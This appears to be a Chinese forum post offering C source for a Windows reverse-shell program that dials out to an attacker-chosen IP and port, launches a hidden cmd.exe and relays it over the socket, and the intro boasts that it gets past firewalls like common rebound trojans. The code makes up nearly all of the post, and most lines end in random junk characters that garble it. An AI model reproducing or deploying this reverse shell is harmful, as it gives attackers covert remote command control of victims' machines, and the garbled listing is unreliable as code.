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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GLyh1qNX  
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/* ============================== Xhi?b|  
Rebound port in Windows NT F!{SeH:  
By wind,2006/7 Vd4osBu{fY  
===============================*/ @Hh"Y1B  
#include ,)1e+EnV&  
#include m##=iB|;  
k:Q<Uanc[  
#pragma comment(lib,"wsock32.lib") GHY>DrXO1u  
]Ho`*$dD  
void OutputShell(); ny={V*m  
SOCKET sClient; &/9oi_r%r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }^7V^W  
(#]KjpIK  
void main(int argc,char **argv) k 9rnT)YU  
{ ;\+0H$  
WSADATA stWsaData; Z.pw!mu"  
int nRet; qgNK!(kWpr  
SOCKADDR_IN stSaiClient,stSaiServer; sLIP |i  
x3 |'jmg  
if(argc != 3) ]||=<!^kn  
{ Vm.@qO*=  
printf("Useage:\n\rRebound DestIP DestPort\n"); hT"K}d;X  
return; Ziimz}WHF  
} T"U t).  
#cS,5(BM  
WSAStartup(MAKEWORD(2,2),&stWsaData); *.g?y6d  
\<**SSN  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,6"n5Ks}  
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stSaiClient.sin_family = AF_INET; AHJ;>"]  
stSaiClient.sin_port = htons(0); sdQv:nd'R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /MH@>C _  
;!?K.,N:N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3:1 c_   
{ >N-%  
printf("Bind Socket Failed!\n"); )AXH^&  
return; -QDgr`%5  
} E e>j7k.G.  
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stSaiServer.sin_family = AF_INET; RCXSz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 79H+~1Az  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :* b4/qpYv  
"b4iOp&:=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "|`9{/]  
{ 0!`7kZrN  
printf("Connect Error!"); [t{ #@X  
return; 2j1v.%  
} "%*lE0Tx  
OutputShell(); yuEOQ\!(u  
} A'iF'<%  
pIiED9  
void OutputShell() =hIT?Z6A  
{ .+}o'rU  
char szBuff[1024]; E^a `IA  
SECURITY_ATTRIBUTES stSecurityAttributes; X@U 1Ri  
OSVERSIONINFO stOsversionInfo; **w~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; % T\N@  
STARTUPINFO stStartupInfo; &>.1%x@R  
char *szShell; k^c=y<I  
PROCESS_INFORMATION stProcessInformation; /? 1Yf  
unsigned long lBytesRead; _PUm Pom.  
NP'Ke:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A5<Z&Y[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v9lB k]c  
stSecurityAttributes.lpSecurityDescriptor = 0; 3}{5 X'  
stSecurityAttributes.bInheritHandle = TRUE; )+4}Ix/q  
+WN>9V0H  
GY]6#>D#7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hRIS [#z;U  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IC.<)I  
ESjJHZoD(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N3p 7 0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z !25xqNCd  
stStartupInfo.wShowWindow = SW_HIDE; J?quYlS  
stStartupInfo.hStdInput = hReadPipe; kah3Uhr~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I S8nvx\  
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GetVersionEx(&stOsversionInfo); Q;ZHx.ye{  
tO>OD#  
switch(stOsversionInfo.dwPlatformId) 9^#gVTGXv  
{ >"g<-!p@  
case 1: ak8^/1*@  
szShell = "command.com"; S{i@=:  
break; pkfOM"5'  
default: )]?egw5l  
szShell = "cmd.exe"; :#:O(K1PW  
break; |\n)<r_  
} X#I`(iHY  
V /9"Xmv75  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fwv T2G4  
:8Ts'OGwI  
send(sClient,szMsg,77,0); xT?}wF  
while(1) 3p 1EScH  
{ ca3BJWY}J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yX.5Y|A<  
if(lBytesRead) *RbOQ86vP  
{ #C;zS9(]B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <Z:8~:@  
send(sClient,szBuff,lBytesRead,0); &Dg)"Xji  
} *tfDXQ^mN  
else ]VG84bFm  
{ _O)2  
lBytesRead=recv(sClient,szBuff,1024,0); g;#KBxE  
if(lBytesRead<=0) break; P[I*%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `TD%M`a  
} 5*wApu{2A  
} t#pqXY/;D  
#w,WwL!  
return; *- IlF]  
}
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